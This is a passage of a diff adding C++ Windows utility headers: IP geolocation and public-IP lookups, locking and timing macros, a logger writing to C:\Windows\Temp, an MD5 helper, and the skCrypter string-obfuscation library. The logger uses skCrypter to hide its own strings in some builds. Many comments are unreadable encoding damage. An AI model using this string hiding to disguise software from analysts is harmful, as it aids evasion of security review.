if (ip.empty())
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
HINTERNET hInternet, hConnect;
|
||||||
|
DWORD bytesRead;
|
||||||
|
std::string readBuffer;
|
||||||
|
|
||||||
|
// <20><>ʼ<EFBFBD><CABC> WinINet
|
||||||
|
hInternet = InternetOpen("IP Geolocation", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
|
||||||
|
if (hInternet == NULL) {
|
||||||
|
Mprintf("InternetOpen failed! %d\n", GetLastError());
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD> HTTP <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
std::string url = "http://ipinfo.io/" + ip + "/json";
|
||||||
|
hConnect = InternetOpenUrlA(hInternet, url.c_str(), NULL, 0, INTERNET_FLAG_RELOAD, 0);
|
||||||
|
if (hConnect == NULL) {
|
||||||
|
Mprintf("InternetOpenUrlA failed! %d\n", GetLastError());
|
||||||
|
InternetCloseHandle(hInternet);
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><>ȡ<EFBFBD><C8A1><EFBFBD>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
char buffer[4096];
|
||||||
|
while (InternetReadFile(hConnect, buffer, sizeof(buffer), &bytesRead) && bytesRead > 0) {
|
||||||
|
readBuffer.append(buffer, bytesRead);
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD> JSON <20><>Ӧ
|
||||||
|
Json::Value jsonData;
|
||||||
|
Json::Reader jsonReader;
|
||||||
|
std::string location;
|
||||||
|
|
||||||
|
if (jsonReader.parse(readBuffer, jsonData)) {
|
||||||
|
std::string country = jsonData["country"].asString();
|
||||||
|
std::string city = jsonData["city"].asString();
|
||||||
|
std::string loc = jsonData["loc"].asString(); // <20><>γ<EFBFBD><CEB3><EFBFBD><EFBFBD>Ϣ
|
||||||
|
if (city.empty() && country.empty()) {
|
||||||
|
}
|
||||||
|
else if (city.empty()) {
|
||||||
|
location = country;
|
||||||
|
}
|
||||||
|
else if (country.empty()) {
|
||||||
|
location = city;
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
location = city + ", " + country;
|
||||||
|
}
|
||||||
|
if (location.empty() && IsPrivateIP(ip)) {
|
||||||
|
location = "Local Area Network";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
Mprintf("Failed to parse JSON response: %s.\n", readBuffer.c_str());
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20>رվ<D8B1><D5BE><EFBFBD>
|
||||||
|
InternetCloseHandle(hConnect);
|
||||||
|
InternetCloseHandle(hInternet);
|
||||||
|
|
||||||
|
return location;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool isLoopbackAddress(const std::string& ip) {
|
||||||
|
return (ip == "127.0.0.1" || ip == "::1");
|
||||||
|
}
|
||||||
|
|
||||||
|
bool isLocalIP(const std::string& ip) {
|
||||||
|
if (isLoopbackAddress(ip)) return true; // <20>ȼ<EFBFBD><C8BC><EFBFBD><EFBFBD>ػ<EFBFBD><D8BB><EFBFBD>ַ
|
||||||
|
|
||||||
|
ULONG outBufLen = 15000;
|
||||||
|
IP_ADAPTER_ADDRESSES* pAddresses = (IP_ADAPTER_ADDRESSES*)malloc(outBufLen);
|
||||||
|
if (GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX, nullptr, pAddresses, &outBufLen) == ERROR_BUFFER_OVERFLOW) {
|
||||||
|
free(pAddresses);
|
||||||
|
pAddresses = (IP_ADAPTER_ADDRESSES*)malloc(outBufLen);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (GetAdaptersAddresses(AF_UNSPEC, GAA_FLAG_INCLUDE_PREFIX, nullptr, pAddresses, &outBufLen) == NO_ERROR) {
|
||||||
|
for (IP_ADAPTER_ADDRESSES* pCurrAddresses = pAddresses; pCurrAddresses; pCurrAddresses = pCurrAddresses->Next) {
|
||||||
|
for (IP_ADAPTER_UNICAST_ADDRESS* pUnicast = pCurrAddresses->FirstUnicastAddress; pUnicast; pUnicast = pUnicast->Next) {
|
||||||
|
char addressBuffer[INET6_ADDRSTRLEN] = { 0 };
|
||||||
|
getnameinfo(pUnicast->Address.lpSockaddr, pUnicast->Address.iSockaddrLength, addressBuffer, sizeof(addressBuffer), nullptr, 0, NI_NUMERICHOST);
|
||||||
|
|
||||||
|
if (ip == addressBuffer) {
|
||||||
|
free(pAddresses);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
free(pAddresses);
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD>IP, <20><>ȡʧ<C8A1>ܷ<EFBFBD><DCB7>ؿ<EFBFBD>
|
||||||
|
std::string getPublicIP() {
|
||||||
|
HINTERNET hInternet, hConnect;
|
||||||
|
DWORD bytesRead;
|
||||||
|
char buffer[1024] = { 0 };
|
||||||
|
|
||||||
|
hInternet = InternetOpen("Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
|
||||||
|
if (!hInternet) return "";
|
||||||
|
|
||||||
|
hConnect = InternetOpenUrl(hInternet, "https://api64.ipify.org", NULL, 0, INTERNET_FLAG_RELOAD | INTERNET_FLAG_SECURE, 0);
|
||||||
|
if (!hConnect) {
|
||||||
|
InternetCloseHandle(hInternet);
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
InternetReadFile(hConnect, buffer, sizeof(buffer) - 1, &bytesRead);
|
||||||
|
InternetCloseHandle(hConnect);
|
||||||
|
InternetCloseHandle(hInternet);
|
||||||
|
|
||||||
|
return std::string(buffer);
|
||||||
|
}
|
||||||
|
};
|
||||||
141
common/locker.h
Normal file
141
common/locker.h
Normal file
@@ -0,0 +1,141 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#pragma warning(disable: 4996)
|
||||||
|
#pragma warning(disable: 4819)
|
||||||
|
|
||||||
|
// 互斥锁、睡眠函数、自动锁、自动计时、自动日志等
|
||||||
|
|
||||||
|
#include "logger.h"
|
||||||
|
|
||||||
|
// 自动日志
|
||||||
|
class CAutoLog
|
||||||
|
{
|
||||||
|
private:
|
||||||
|
CRITICAL_SECTION *m_cs;
|
||||||
|
const char* name;
|
||||||
|
public:
|
||||||
|
CAutoLog(const char* _name, CRITICAL_SECTION *cs=NULL) : name(_name), m_cs(cs)
|
||||||
|
{
|
||||||
|
Mprintf(">>> Enter thread %s: [%d]\n", name ? name : "", GetCurrentThreadId());
|
||||||
|
if (m_cs)EnterCriticalSection(m_cs);
|
||||||
|
}
|
||||||
|
|
||||||
|
~CAutoLog()
|
||||||
|
{
|
||||||
|
if (m_cs)LeaveCriticalSection(m_cs);
|
||||||
|
Mprintf(">>> Leave thread %s: [%d]\n", name ? name : "", GetCurrentThreadId());
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
class CLock {
|
||||||
|
public:
|
||||||
|
CLock(CRITICAL_SECTION& cs) : m_cs(&cs)
|
||||||
|
{
|
||||||
|
Lock();
|
||||||
|
}
|
||||||
|
CLock() : m_cs(nullptr)
|
||||||
|
{
|
||||||
|
InitializeCriticalSection(&i_cs);
|
||||||
|
}
|
||||||
|
~CLock()
|
||||||
|
{
|
||||||
|
m_cs ? Unlock() : DeleteCriticalSection(&i_cs);
|
||||||
|
}
|
||||||
|
|
||||||
|
void Unlock()
|
||||||
|
{
|
||||||
|
LeaveCriticalSection(m_cs ? m_cs : &i_cs);
|
||||||
|
}
|
||||||
|
|
||||||
|
void Lock()
|
||||||
|
{
|
||||||
|
EnterCriticalSection(m_cs ? m_cs : &i_cs);
|
||||||
|
}
|
||||||
|
|
||||||
|
void unlock()
|
||||||
|
{
|
||||||
|
LeaveCriticalSection(m_cs ? m_cs : &i_cs);
|
||||||
|
}
|
||||||
|
|
||||||
|
void lock()
|
||||||
|
{
|
||||||
|
EnterCriticalSection(m_cs ? m_cs : &i_cs);
|
||||||
|
}
|
||||||
|
|
||||||
|
protected:
|
||||||
|
CRITICAL_SECTION* m_cs; // 外部锁
|
||||||
|
CRITICAL_SECTION i_cs; // 内部锁
|
||||||
|
};
|
||||||
|
|
||||||
|
typedef CLock CLocker;
|
||||||
|
|
||||||
|
class CAutoLock
|
||||||
|
{
|
||||||
|
private:
|
||||||
|
CRITICAL_SECTION &m_cs;
|
||||||
|
|
||||||
|
public:
|
||||||
|
CAutoLock(CRITICAL_SECTION& cs) : m_cs(cs)
|
||||||
|
{
|
||||||
|
EnterCriticalSection(&m_cs);
|
||||||
|
}
|
||||||
|
|
||||||
|
~CAutoLock()
|
||||||
|
{
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
// 智能计时器,计算函数的耗时
|
||||||
|
class auto_tick {
|
||||||
|
private:
|
||||||
|
const char* func;
|
||||||
|
int span;
|
||||||
|
clock_t tick;
|
||||||
|
__inline clock_t now() const {
|
||||||
|
return clock();
|
||||||
|
}
|
||||||
|
__inline int time() const {
|
||||||
|
return now() - tick;
|
||||||
|
}
|
||||||
|
|
||||||
|
public:
|
||||||
|
auto_tick(const char* func_name, int th = 5) : func(func_name), span(th), tick(now()) { }
|
||||||
|
~auto_tick() {
|
||||||
|
stop();
|
||||||
|
}
|
||||||
|
|
||||||
|
__inline void stop() {
|
||||||
|
if (span != 0) {
|
||||||
|
int s(this->time());
|
||||||
|
if (s > span)Mprintf("[%s] cost: [%d]ms.\n", func, s);
|
||||||
|
span = 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
#ifdef _DEBUG
|
||||||
|
// 智能计算当前函数的耗时,超时会打印
|
||||||
|
#define AUTO_TICK(thresh) auto_tick TICK(__FUNCTION__, thresh)
|
||||||
|
#define STOP_TICK TICK.stop()
|
||||||
|
#else
|
||||||
|
#define AUTO_TICK(thresh)
|
||||||
|
#define STOP_TICK
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#define AUTO_TICK_C AUTO_TICK
|
||||||
|
|
||||||
|
#include <MMSystem.h>
|
||||||
|
#pragma comment(lib, "winmm.lib")
|
||||||
|
|
||||||
|
// 高精度的睡眠函数
|
||||||
|
#define Sleep_m(ms) { Sleep(ms); }
|
||||||
|
|
||||||
|
// 以步长n毫秒在条件C下等待T秒(n是步长,必须能整除1000)
|
||||||
|
#define WAIT_n(C, T, n) { int s=(1000*(T))/(n); s=max(s,1); do{Sleep(n);}while((C)&&(--s)); }
|
||||||
|
|
||||||
|
// 在条件C成立时等待T秒(步长10ms)
|
||||||
|
#define WAIT(C, T) { WAIT_n(C, T, 10); }
|
||||||
|
|
||||||
|
// 在条件C成立时等待T秒(步长1ms)
|
||||||
|
#define WAIT_1(C, T) { WAIT_n(C, T, 1); }
|
||||||
234
common/logger.h
Normal file
234
common/logger.h
Normal file
@@ -0,0 +1,234 @@
|
|||||||
|
#pragma once
|
||||||
|
#pragma warning(disable: 4996)
|
||||||
|
#ifdef _WIN32
|
||||||
|
#ifdef _WINDOWS
|
||||||
|
#include <afxwin.h>
|
||||||
|
#else
|
||||||
|
#include <windows.h>
|
||||||
|
#endif
|
||||||
|
#include <iostream>
|
||||||
|
#include <fstream>
|
||||||
|
#include <mutex>
|
||||||
|
#include <queue>
|
||||||
|
#include <string>
|
||||||
|
#include <thread>
|
||||||
|
#include <condition_variable>
|
||||||
|
#include <atomic>
|
||||||
|
#include <chrono>
|
||||||
|
#include <sstream>
|
||||||
|
#include <cstdarg>
|
||||||
|
#include "skCrypter.h"
|
||||||
|
#include <iomanip>
|
||||||
|
|
||||||
|
|
||||||
|
inline bool stringToBool(const std::string& str) {
|
||||||
|
std::string lower = str;
|
||||||
|
std::transform(lower.begin(), lower.end(), lower.begin(), ::tolower);
|
||||||
|
return (lower == "true" || lower == "1");
|
||||||
|
}
|
||||||
|
|
||||||
|
class Logger {
|
||||||
|
public:
|
||||||
|
enum LogLevel {
|
||||||
|
InfoLevel, WarningLevel, ErrorLevel
|
||||||
|
};
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD>ģʽ
|
||||||
|
static Logger& getInstance() {
|
||||||
|
static Logger instance;
|
||||||
|
if (instance.pid.empty()) {
|
||||||
|
char buf[16] = {};
|
||||||
|
sprintf_s(buf, "%d", GetCurrentProcessId());
|
||||||
|
instance.pid = buf;
|
||||||
|
instance.InitLogFile("C:\\Windows\\Temp", instance.pid);
|
||||||
|
#ifdef _WINDOWS
|
||||||
|
instance.enable = true; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>־Ĭ<D6BE>ϴ<EFBFBD><CFB4><EFBFBD>
|
||||||
|
#else
|
||||||
|
char var[32] = {};
|
||||||
|
const char* name = skCrypt("ENABLE_LOG");
|
||||||
|
DWORD size = GetEnvironmentVariableA(name, var, sizeof(var));
|
||||||
|
instance.enable = stringToBool(var);
|
||||||
|
instance.log("logger.h", __LINE__, "GetEnvironmentVariable: %s=%s\n", name, var);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
return instance;
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><>ֹ<EFBFBD><D6B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ
|
||||||
|
Logger(const Logger&) = delete;
|
||||||
|
Logger& operator=(const Logger&) = delete;
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>־<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
|
||||||
|
void setLogFile(const std::string& filename) {
|
||||||
|
std::lock_guard<std::mutex> lock(fileMutex);
|
||||||
|
logFileName = filename;
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>־
|
||||||
|
void usingLog(bool b = true) {
|
||||||
|
enable = b;
|
||||||
|
}
|
||||||
|
|
||||||
|
// д<><D0B4>־<EFBFBD><D6BE>֧<EFBFBD><D6A7> printf <20><>ʽ<EFBFBD><CABD>
|
||||||
|
void log(const char* file, int line, const char* format, ...) {
|
||||||
|
va_list args;
|
||||||
|
va_start(args, format);
|
||||||
|
|
||||||
|
std::string message = formatString(format, args);
|
||||||
|
|
||||||
|
va_end(args);
|
||||||
|
|
||||||
|
auto timestamp = getCurrentTimestamp();
|
||||||
|
std::string id = pid.empty() ? "" : "[" + pid + "]";
|
||||||
|
|
||||||
|
std::string logEntry = id + "[" + timestamp + "] [" + file + ":" + std::to_string(line) + "] " + message;
|
||||||
|
if (enable)
|
||||||
|
{
|
||||||
|
if (running) {
|
||||||
|
std::lock_guard<std::mutex> lock(queueMutex);
|
||||||
|
logQueue.push(logEntry);
|
||||||
|
} else {
|
||||||
|
writeToFile(logEntry);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
#ifndef _WINDOWS
|
||||||
|
#ifdef _DEBUG
|
||||||
|
printf(logEntry.c_str());
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
cv.notify_one(); // ֪ͨд<D6AA>߳<EFBFBD>
|
||||||
|
}
|
||||||
|
|
||||||
|
// ֹͣ<CDA3><D6B9>־ϵͳ
|
||||||
|
void stop() {
|
||||||
|
if (!running) return;
|
||||||
|
{
|
||||||
|
std::lock_guard<std::mutex> lock(queueMutex);
|
||||||
|
running = false; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>״̬
|
||||||
|
}
|
||||||
|
cv.notify_one();
|
||||||
|
if (workerThread.joinable()) {
|
||||||
|
workerThread.join();
|
||||||
|
}
|
||||||
|
for (int i = 0; threadRun && i++ < 1000; Sleep(1));
|
||||||
|
}
|
||||||
|
|
||||||
|
private:
|
||||||
|
// <20><>־<EFBFBD><D6BE><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
void InitLogFile(const std::string & dir, const std::string& pid) {
|
||||||
|
time_t currentTime = time(nullptr);
|
||||||
|
tm* localTime = localtime(¤tTime);
|
||||||
|
char timeString[32];
|
||||||
|
strftime(timeString, sizeof(timeString), "%Y-%m", localTime);
|
||||||
|
char fileName[100];
|
||||||
|
#ifdef _WINDOWS
|
||||||
|
sprintf_s(fileName, "\\YAMA_%s_%s.txt", timeString, pid.c_str());
|
||||||
|
#else
|
||||||
|
sprintf_s(fileName, "\\log_%s_%s.txt", timeString, pid.c_str());
|
||||||
|
#endif
|
||||||
|
logFileName = dir + fileName;
|
||||||
|
}
|
||||||
|
std::string logFileName; // <20><>־<EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>
|
||||||
|
bool enable; // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
bool threadRun; // <20><>־<EFBFBD>߳<EFBFBD>״̬
|
||||||
|
std::queue<std::string> logQueue; // <20><>־<EFBFBD><D6BE><EFBFBD><EFBFBD>
|
||||||
|
std::mutex queueMutex; // <20><><EFBFBD>л<EFBFBD><D0BB><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
std::condition_variable cv; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
std::atomic<bool> running; // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
std::thread workerThread; // <20><>̨<EFBFBD>߳<EFBFBD>
|
||||||
|
std::mutex fileMutex; // <20>ļ<EFBFBD>д<EFBFBD><D0B4><EFBFBD><EFBFBD>
|
||||||
|
std::string pid; // <20><><EFBFBD><EFBFBD>ID
|
||||||
|
|
||||||
|
Logger() : enable(false), threadRun(false), running(true), workerThread(&Logger::processLogs, this) {}
|
||||||
|
|
||||||
|
~Logger() {
|
||||||
|
stop();
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><>̨<EFBFBD>̴߳<DFB3><CCB4><EFBFBD><EFBFBD><EFBFBD>־
|
||||||
|
void processLogs() {
|
||||||
|
threadRun = true;
|
||||||
|
while (running) {
|
||||||
|
std::unique_lock<std::mutex> lock(queueMutex);
|
||||||
|
cv.wait(lock, [this]() {
|
||||||
|
return !running || !logQueue.empty();
|
||||||
|
});
|
||||||
|
|
||||||
|
while (running && !logQueue.empty()) {
|
||||||
|
std::string logEntry = logQueue.front();
|
||||||
|
logQueue.pop();
|
||||||
|
lock.unlock();
|
||||||
|
|
||||||
|
// д<><D0B4><EFBFBD><EFBFBD>־<EFBFBD>ļ<EFBFBD>
|
||||||
|
writeToFile(logEntry);
|
||||||
|
|
||||||
|
lock.lock();
|
||||||
|
}
|
||||||
|
lock.unlock();
|
||||||
|
}
|
||||||
|
threadRun = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
// д<><D0B4><EFBFBD>ļ<EFBFBD>
|
||||||
|
void writeToFile(const std::string& logEntry) {
|
||||||
|
std::lock_guard<std::mutex> lock(fileMutex);
|
||||||
|
std::ofstream logFile(logFileName, std::ios::app);
|
||||||
|
if (logFile.is_open()) {
|
||||||
|
logFile << logEntry << std::endl;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><>ȡ<EFBFBD><C8A1>ǰʱ<C7B0><CAB1><EFBFBD><EFBFBD>
|
||||||
|
std::string getCurrentTimestamp() {
|
||||||
|
auto now = std::chrono::system_clock::now();
|
||||||
|
auto in_time_t = std::chrono::system_clock::to_time_t(now);
|
||||||
|
|
||||||
|
std::tm tm;
|
||||||
|
#ifdef _WIN32
|
||||||
|
localtime_s(&tm, &in_time_t); // Windows <20><>ȫ<EFBFBD>汾
|
||||||
|
#else
|
||||||
|
localtime_r(&in_time_t, &tm); // POSIX <20><>ȫ<EFBFBD>汾
|
||||||
|
#endif
|
||||||
|
|
||||||
|
std::stringstream ss;
|
||||||
|
ss << std::put_time(&tm, "%Y-%m-%d %H:%M:%S");
|
||||||
|
return ss.str();
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><><EFBFBD><EFBFBD>־<EFBFBD><D6BE><EFBFBD><EFBFBD>ת<EFBFBD><D7AA>Ϊ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>
|
||||||
|
std::string logLevelToString(LogLevel level) {
|
||||||
|
switch (level) {
|
||||||
|
case InfoLevel: return "INFO";
|
||||||
|
case WarningLevel: return "WARNING";
|
||||||
|
case ErrorLevel: return "ERROR";
|
||||||
|
default: return "UNKNOWN";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// <20><>ʽ<EFBFBD><CABD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>
|
||||||
|
std::string formatString(const char* format, va_list args) {
|
||||||
|
char buffer[1024];
|
||||||
|
vsnprintf(buffer, sizeof(buffer), format, args);
|
||||||
|
return std::string(buffer);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
inline const char* getFileName(const char* path) {
|
||||||
|
const char* fileName = strrchr(path, '\\');
|
||||||
|
if (!fileName) {
|
||||||
|
fileName = strrchr(path, '/');
|
||||||
|
}
|
||||||
|
return fileName ? fileName + 1 : path;
|
||||||
|
}
|
||||||
|
|
||||||
|
#ifdef _WINDOWS
|
||||||
|
#ifdef _DEBUG
|
||||||
|
#define Mprintf(format, ...) TRACE(format, __VA_ARGS__)
|
||||||
|
#else
|
||||||
|
#define Mprintf(format, ...) Logger::getInstance().log(getFileName(__FILE__), __LINE__, format, __VA_ARGS__)
|
||||||
|
#endif
|
||||||
|
#else
|
||||||
|
#define Mprintf(format, ...) Logger::getInstance().log(getFileName(skCrypt(__FILE__)), __LINE__, skCrypt(format), __VA_ARGS__)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif // _WIN32
|
||||||
42
common/md5.h
Normal file
42
common/md5.h
Normal file
@@ -0,0 +1,42 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <wincrypt.h>
|
||||||
|
|
||||||
|
inline std::string CalcMD5FromBytes(const BYTE* data, DWORD length) {
|
||||||
|
HCRYPTPROV hProv = 0;
|
||||||
|
HCRYPTHASH hHash = 0;
|
||||||
|
BYTE hash[16]; // MD5 <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 16 <20>ֽ<EFBFBD>
|
||||||
|
DWORD hashLen = sizeof(hash);
|
||||||
|
std::ostringstream oss;
|
||||||
|
|
||||||
|
if (!CryptAcquireContext(&hProv, NULL, NULL, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT)) {
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!CryptCreateHash(hProv, CALG_MD5, 0, 0, &hHash)) {
|
||||||
|
CryptReleaseContext(hProv, 0);
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!CryptHashData(hHash, data, length, 0)) {
|
||||||
|
CryptDestroyHash(hHash);
|
||||||
|
CryptReleaseContext(hProv, 0);
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!CryptGetHashParam(hHash, HP_HASHVAL, hash, &hashLen, 0)) {
|
||||||
|
CryptDestroyHash(hHash);
|
||||||
|
CryptReleaseContext(hProv, 0);
|
||||||
|
return "";
|
||||||
|
}
|
||||||
|
|
||||||
|
// ת<><D7AA>Ϊʮ<CEAA><CAAE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>
|
||||||
|
for (DWORD i = 0; i < hashLen; ++i) {
|
||||||
|
oss << std::hex << std::setw(2) << std::setfill('0') << (int)hash[i];
|
||||||
|
}
|
||||||
|
|
||||||
|
CryptDestroyHash(hHash);
|
||||||
|
CryptReleaseContext(hProv, 0);
|
||||||
|
|
||||||
|
return oss.str();
|
||||||
|
}
|
||||||
163
common/skCrypter.h
Normal file
163
common/skCrypter.h
Normal file
@@ -0,0 +1,163 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
/*____________________________________________________________________________________________________________
|
||||||
|
|
||||||
|
Original Author: skadro
|
||||||
|
Github: https://github.com/skadro-official
|
||||||
|
License: See end of file
|
||||||
|
|
||||||
|
skCrypter
|
||||||
|
Compile-time, Usermode + Kernelmode, safe and lightweight string crypter library for C++11+
|
||||||
|
|
||||||
|
*Not removing this part is appreciated*
|
||||||
|
____________________________________________________________________________________________________________*/
|
||||||
|
|
||||||
|
#ifdef _KERNEL_MODE
|
||||||
|
namespace std
|
||||||
|
{
|
||||||
|
// STRUCT TEMPLATE remove_reference
|
||||||
|
template <class _Ty>
|
||||||
|
struct remove_reference {
|
||||||
|
using type = _Ty;
|
||||||
|
};
|
||||||
|
|
||||||
|
template <class _Ty>
|
||||||
|
struct remove_reference<_Ty&> {
|
||||||
|
using type = _Ty;
|
||||||
|
};
|
||||||
|
|
||||||
|
template <class _Ty>
|
||||||
|
struct remove_reference<_Ty&&> {
|
||||||
|
using type = _Ty;
|
||||||
|
};
|
||||||
|
|
||||||
|
template <class _Ty>
|
||||||
|
using remove_reference_t = typename remove_reference<_Ty>::type;
|
||||||
|
|
||||||
|
// STRUCT TEMPLATE remove_const
|
||||||
|
template <class _Ty>
|
||||||
|
struct remove_const { // remove top-level const qualifier
|
||||||
|
using type = _Ty;
|
||||||
|
};
|
||||||
|
|
||||||
|
template <class _Ty>
|
||||||
|
struct remove_const<const _Ty> {
|
||||||
|
using type = _Ty;
|
||||||
|
};
|
||||||
|
|
||||||
|
template <class _Ty>
|
||||||
|
using remove_const_t = typename remove_const<_Ty>::type;
|
||||||
|
}
|
||||||
|
#else
|
||||||
|
#include <type_traits>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
namespace skc
|
||||||
|
{
|
||||||
|
template<class _Ty>
|
||||||
|
using clean_type = typename std::remove_const_t<std::remove_reference_t<_Ty>>;
|
||||||
|
|
||||||
|
template <int _size, char _key1, char _key2, typename T>
|
||||||
|
class skCrypter
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
__forceinline constexpr skCrypter(T* data)
|
||||||
|
{
|
||||||
|
crypt(data);
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline T* get()
|
||||||
|
{
|
||||||
|
return _storage;
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline int size() // (w)char count
|
||||||
|
{
|
||||||
|
return _size;
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline char key()
|
||||||
|
{
|
||||||
|
return _key1;
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline T* encrypt()
|
||||||
|
{
|
||||||
|
if (!isEncrypted())
|
||||||
|
crypt(_storage);
|
||||||
|
|
||||||
|
return _storage;
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline T* decrypt()
|
||||||
|
{
|
||||||
|
if (isEncrypted())
|
||||||
|
crypt(_storage);
|
||||||
|
|
||||||
|
return _storage;
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline bool isEncrypted()
|
||||||
|
{
|
||||||
|
return _storage[_size - 1] != 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline void clear() // set full storage to 0
|
||||||
|
{
|
||||||
|
for (int i = 0; i < _size; i++)
|
||||||
|
{
|
||||||
|
_storage[i] = 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline operator T* ()
|
||||||
|
{
|
||||||
|
decrypt();
|
||||||
|
|
||||||
|
return _storage;
|
||||||
|
}
|
||||||
|
|
||||||
|
private:
|
||||||
|
__forceinline constexpr void crypt(T* data)
|
||||||
|
{
|
||||||
|
for (int i = 0; i < _size; i++)
|
||||||
|
{
|
||||||
|
_storage[i] = data[i] ^ (_key1 + i % (1 + _key2));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
T _storage[_size]{};
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
#define skCrypt(str) skCrypt_key(str, __TIME__[4], __TIME__[7])
|
||||||
|
#define skCrypt_key(str, key1, key2) []() { \
|
||||||
|
constexpr static auto crypted = skc::skCrypter \
|
||||||
|
<sizeof(str) / sizeof(str[0]), key1, key2, skc::clean_type<decltype(str[0])>>((skc::clean_type<decltype(str[0])>*)str); \
|
||||||
|
return crypted; }()
|
||||||
|
|
||||||
|
/*________________________________________________________________________________
|
||||||
|
|
||||||
|
MIT License
|
||||||
|
|
||||||
|
Copyright (c) 2020 skadro
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in all
|
||||||
|
copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
